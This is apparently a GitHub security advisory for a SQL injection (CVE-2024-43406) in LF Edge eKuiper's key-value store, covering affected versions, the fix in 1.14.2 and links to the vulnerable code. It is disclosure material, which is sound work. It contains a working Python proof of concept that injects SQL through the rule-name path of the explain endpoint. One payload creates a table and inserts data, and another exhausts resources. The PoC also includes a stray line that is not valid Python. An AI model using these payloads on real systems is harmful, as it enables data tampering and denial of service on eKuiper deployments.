GitHub Advisoryadvisory · Go, PyPI
GHSA-r5ph-4jxm-6j9p LF Edge eKuiper has a SQL Injection in sqlKvStore
HIGH
Official page ↗
- Aliases
- CVE-2024-43406
- Ecosystem
- Go, PyPI
- Packages
- github.com/lf-edge/ekuiper, ekuiper
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2024-08-20
Affected packages
• Go github.com/lf-edge/ekuiper: < 1.14.2 → fixed in 1.14.2
• PyPI ekuiper: < 1.14.2 → fixed in 1.14.2
Description
Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93
The code to accept user input is:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141
PoC
```
import requests
from urllib.parse import quote
SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)
```
The screenshot shows the malicious SQL query to insert a value:
The screenshot shows the breakpoint of executing the query:
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.
Related
Alias · CVE (1)
- CVE-2024-43406 LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p web
- https://nvd.nist.gov/vuln/detail/CVE-2024-43406 advisory
- https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503 web
- https://github.com/lf-edge/ekuiper package
- https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml web